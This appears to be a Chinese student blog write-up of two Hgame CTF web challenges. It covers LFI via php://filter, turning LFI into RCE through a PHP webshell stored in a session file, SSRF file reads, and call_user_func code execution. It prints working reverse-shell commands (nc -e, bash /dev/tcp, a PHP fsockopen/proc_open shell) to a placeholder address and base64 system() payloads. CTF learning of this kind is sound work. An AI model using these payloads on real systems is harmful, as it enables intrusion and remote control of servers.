前言:

Hgame 正赛结束了,除去签到题之外,一共只做出了两道题(一道Web,一道Misc)。Web还是在hammer学长的不断提点之下才做出来,最大的感受还是知识不够,不知道如何去做题,甚至发现漏洞后也不知道如何去进一步利用,像一个没头苍蝇一样到处乱撞。想来接下来的时间,自己是应该多做一些CTF真题、多看一些大佬的Blog并且亲自动手实践(Konw it then do it),积攒一下经验了。赛后又继续做了一下题目,整理一下的知识点

Web1(未做出) :

初探

打开后是一个登录界面,自然而然的试了试注入,发现过滤相当严格,发现一旦发现输入的内容存在可能导致注入的字符,就会跳转到hacker.php。

F12看了下,界面除了登录框之外,什么都没有:

<!DOCTYPE html>
<html>	
<head>
<link href="./assert/css/style.css" rel='stylesheet' type='text/css' />
<!--webfonts-->
    ......
<!--//webfonts-->
<script src="./assert/javascript/jquery.min.js"></script>
</head>
<body>
 <!--SIGN UP-->
<h1>Login Form</h1>
<div class="login-form">
	<div class="close"> </div>
		<div class="head-info">
			......
		</div>
			<div class="clear"> </div>
	<form method="post" action="login.php">
		<input type="text" class="form-control" name="username" placeholder="Username">
		<div class="key">
			<input type="password" class="form-control" name="password" placeholder="Password">
		</div>
		<input type="hidden" name="action" value="login" />
		<div class="signin">
			<input type="submit" value="Login" >
		</div>
	</form>
</div>

</body>
</html>

当时就没了思路,去做了别的别的题目。现在想想其实提示的还是很明显的——Login Form 登录表单,那自然应该去想到还有 Register Form(其实正常情况下就算不提示也应该想到还有注册界面,自己思维太僵硬了,看到表单就只想到Sql注入)

初窥门道——LFI

那么在地址后输入 register.php 后进入注册界面,注册一个账号然后回去登录,看到 url 跳转成

http://example.com/page=user

那么自然想到 LFI ,尝试一下读取文件吧:

http://example.com/page=/etc/passwd

啥都看不到,没关系,还有这个:

http://example.com/page=php://filter/read=convert.base64-encode/resource=/etc/passwd

读到了,那么接下来读一下题目源码吧,最后读到的文件有:

1

读一下源码:

先看一下config.php:

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);

$DBHOST = "mysql";
$DBUSER = "root";
$DBPASS = "0720";
//$DBPASS = "";
$DBNAME = "hgame";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
?>

拿到了数据库的账户密码。再看一下 login.php:

<?php
require_once "function.php";
if($_POST['action'] === 'login'){
    if (isset($_POST['username']) and isset($_POST['password'])){
        $user = $_POST['username'];
        $pass = $_POST['password'];
        $res = login($user,$pass);
        if(!$res){
            Header("Location: index.php");
        }else{
            Header("Location: user.php?page=info");
        }
    }
    else{
        Header("Location: error_parameter.php");
    }
}else if($_REQUEST['action'] === 'logout'){
    logout();
}else{
    Header("Location: error_parameter.php");
}

?>

可以看到 login.php 中并未直接对 username 和 password 做过滤,直接交给了 function.php 里的 login 函数,那么看一下 login 函数吧:

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `users` where `username`= '$user' and `password` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin];
        return true;
    } else {
        return false;
    }
    return;
}

register() 函数里也同样调用了Filter() 那么看一下 Filter 函数:

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ (),_*`$-@[]=+><?";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

唔,白加黑,注入是别想了~~

升级——LFI to RCE

后来又在 Alias 学长的提醒下搜了一下 LFI to RCE, 找到了这篇文章:

http://www.4hou.com/vulnerable/7774.html

是说利用 php sessions,把 本地文件包含漏洞 升级成远程命令执行漏洞。大体的内容是:当后端把用户名存储在session里面,并且用户名过滤不完全时,会导致 php 存储的 session 文件中可以被写入恶意代码,当结合 LFI 漏洞时,就可以执行恶意代码,实现远程命令执行攻击。

那么我们再来看一下手里的源码,先注意 login() 函数中的如下内容:

 $data = $res->fetch_array();
 $_SESSION['user'] = $data[username];
 $_SESSION['login'] = 1
 $_SESSION['isadmin'] = $data[isadmin];

可以看到 session 里面的确存在用户名

那么再看下 Filter() 函数中的过滤内容:

 $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
 $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ (),_*`$-@[]=+><?"

可以看到 < >,? [],(),_ 这些 php 必需的符号都没有被过滤。

也就是说 session[‘user’] 完全在我们的控制下。

那么思路就很明确了,注册一个用户名为

	<?php eval($_POST[cmds] ?>

的账户(没有引号不影响执行),登录后读取session值,然后利用 LFI ,访问session文件,执行一句话木马。php 的session 文件的位置是:/var/lib/php/sessions/sess_你的sessionid

接下来就是正常的一句话木马的使用。

其实到这里题目已经可以结束了,只需要自己编几段 php 代码,利用一句话木马执行,查询一下数据库的内容就可以获得flag了,如:

require_once "/var/www/html/config.php"; //或者把config.php里的内容直接复制过来
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
//$sql = "show tables ";
$sql = "select * from flag ";
$res = $mysqli->query($sql);
print_r($res);

while($row = $res->fetch_array())
    {
        echo  " {$row[0]}  <br>";
    }

就可以拿到 flag 了。

拓展——getshell

但是我想利用这个题目,顺带学习一下反弹 shell ,于是开始尝试执行:

system('nc -e /bin/bash xxx.xxx.xxx.xxx 7777')
bash -c 'sh -i &>/dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1'

结果两种方法都不能获得 shell,于是去问了一下 Alias 学长(感谢 Alias 学长不厌其烦的给我解惑…),得知 docker 里面没装 nc…..而 bash 重定向会把 phpfpm 搞挂。。反弹的shell也就一瞬间跟着挂了…..于是学长让我去看看 phith0n 师傅的博客,找一找其他的反弹 shell 的方式,于是我找到了这篇文章0

https://www.leavesongs.com/PHP/backshell-via-php.html

是说如何用 php 直接反弹一个 shell 而不借助其他任何语言,

$sock = fsockopen('xxx.xxx.xxx.xxx', '7777');
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);

执行这段代码就可以getshell,(想起python也有类似的方式可以反弹shell)具体原理看 phith0n 师傅的文章。

然鹅反弹的 shell 无法交互…可以连接 mysql 查询却看不到结果,于是又去烦了一波 Alias 学长(再次感谢 Alias 学长不厌其烦的给我解惑…o(╥﹏╥)o) 学长说反弹的 shell 就是不能交互的啊!

而我突然发现 docker 里居然装了 python!于是在网上搜到了一个利用 python 获取交互式 shell 的方法:

python -c 'import pty;pty.spawn("/bin/bash")'

这样就可以获取一个完美的交互式 shell 了!

Web2(在hammer学长的不断指点下做出…)

弱密码

这是一道把各种漏洞综合起来考察的 cms 题目,打开后依然是登录界面…当时依然是死磕了注入无果,然后就去做杂项了..后来 hammer 学长放出 hint 说用弱密码爆破。

于是找了个字典,用burp跑了半小时也没跑出结果,于是 hammer 学长又提供了一个字典给我们,最后用 admin admin123 成功登陆。

登陆后看到一个授权界面,要求输入授权码,但是这个授权认证居然是通过 JavaScript 控制跳转的。于是直接在 js 里找到跳转后的地址。

SSRF

访问后是一个表单,输入框的 name 属性的值是 url,于是尝试输入一个链接http://www.baidu.com 点击提交后发现页面加载了链接的内容,于是明白这里应该是一个 ssrf 的漏洞了。那么试试读文件,输入:

file://etc/passwd

成功读到文件。

然后又继续不知所措了…

hammer 学长再次提示:读一下 Nginx 的配置文件,进而可以读到题目的源码。

于是百度到了 Nginx 配置文件的位置:

/usr/local/nginx/conf/nginx.conf

(听学长的话,一定要把这些常用文件地址背熟)

然后找到了题目的源码位置,那么继续读题目源码

一个经典的漏洞

源码里最重要的内容是这段:

@$_ENV = $_POST;
function MyCode($request){
    $_ENV[c] = base64_decode($_ENV[c]);
	print_r($request);
    $request($_ENV[c]);
}
@call_user_func('MyCode', $_GET['func']);

调用了call_user_func()这个函数,php 文档对这个函数的解释如下:

(PHP 4, PHP 5, PHP 7)

call_user_func —— 把第一个参数作为回调函数调用

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

学长说这是个很经典的东西,有不少漏洞都出在这里,赛后我查了下相关的资料,的确发现了不少有趣的东西,过几天尝试、总结一下。

回到这道题目上来,很明显这里是一个RCE漏洞,函数没有经过任何过滤就执行了用户的命令。

那么构造如下请求:

http://example.com?func=eval&c=J3N5c3RlbShscyknOw== (c=‘system(ls)';)

结果没反应,后来听说是因为eval被ban了…

那么尝试直接调用system():

http://example.com?func=system&c=bHM=

看到目录下存在一个Readme 文件 那么再用相同的方式 cat Readme 就能看到flag了。

ps:

本来这道题目到这里还并没有结束,接下来据说还需要进行内网渗透才能 getflag 但是 hammer 学长发现我们实在是太菜了…于是干脆砍掉了后半部分的题目,直接丢出flag…

后记

一场正式赛活活被我打成了教学赛……不知道自己能否用四个月时间成长为像去年协会刚刚招新时,我在群里看到的学长们一样的CTFer

参考链接:

  1. https://www.leavesongs.com/PHP/backshell-via-php.html
  2. http://www.4hou.com/vulnerable/7774.html
  3. http://php.net/manual/zh/function.call-user-func.php